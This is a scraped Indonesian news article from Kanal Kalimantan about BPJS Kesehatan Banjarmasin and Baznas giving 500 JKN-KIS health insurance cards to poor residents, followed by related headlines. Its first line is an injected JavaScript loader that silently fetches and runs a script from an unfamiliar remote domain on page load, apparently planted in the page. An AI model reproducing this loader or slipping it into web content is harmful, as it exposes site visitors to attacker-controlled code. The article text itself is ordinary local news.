(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Badan Penyelenggara Jaminan Sosial (BPJS) Kesehatan Cabang Banjarmasin melakukan terobosan untuk meningkatkan jumlah kepesertaan Jaminan Kesehatan Nasional Kartu Indonesia Sehat (JKN-KIS) di Banua.
Terbaru BPJS Kesehatan Cabang Banjarmasin menggandeng Badan Amil Zakat Nasional (Baznas) untuk memberikan 500 kartu JKN-KIS pada peserta kurang mampu di Kota Banjarmasin.
“Ini bisa menjadi solusi untuk meningkatkan jumlah kepesertaan JKN-KIS pada masyarakat kurang mampu di Kota Banjarmasin yang belum bisa di-cover oleh pemerintah daerah maupun pusat,†ucap Kepala BPJS Kesehatan M Fakhriza, Senin (27/8) disela penyerahan kartu JKN-KIS pada kegiatan launching e-warong di Kecamatan Banjarmasin Tengah.
Kedepan dijanjikannya, kerjasama dengan Baznas akan dikembangkan di Kota Banjarmasin, baik dengan lembaga sosial maupun perusahaan swasta. Kerjasama ini sendiri berupa bantuan pembayaran JKN-KIS kepada masyarakat tidak mampu.
“Untuk data penerima bantuan JKN-KIS sendiri, lembaga sosial maupun perusahaan swasta jangan khawatir. Karena kita akan bekerjasama dengan Dinas Sosial agar mereka yang mendapatkan subsidi kartu JKN-KIS memang benar-benar tepat sasaran,†ungkapnya.
Saat ini dari data yang pihaknya miliki, jumlah kepesertaan JKN-KIS di Kota Banjarmasin baru sekitar 75 persen dari jumlah penduduk. Padahal ditargetkan pada tahun 2019 mendatang jumlah kepesertaan JK-KIS harus tembus diangka 99 persen.
“Karena itulah kedepannya kita akan terus berupaya menggandeng banyak pihak agar bisa bersama-sama mendorong kepesertaan JK-KIS lebih meningkat dan sesuai harapan,†tambahnya.
Sementara itu, Walikota Banjarmasin Ibnu Sina menghimbau agar perusahaan swasta di Kota Banjarmasin mempergunakan dana sosialnya dalam membantu meningkatkan kepesertaan JKN-KIS di Kota Banjarmasin.
Dengan membantu masyarakat tidak mampu memperoleh Kartu JKN-KIS, maka tentunya bisa membuat masyarakat kurang mampu bisa mengakses layanan kesehatan secara berkualitas.
“Pemkot Banjarmasin tidak bisa sendiri untuk mengover sepenuhnya masyarakat kurang mampu bisa menikmati fasilitas kesehatan di JKN-KIS. Karena itulah kita memerlukan sektor swasta untuk ikut berkontribusi,†pungkasnya. (arief)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.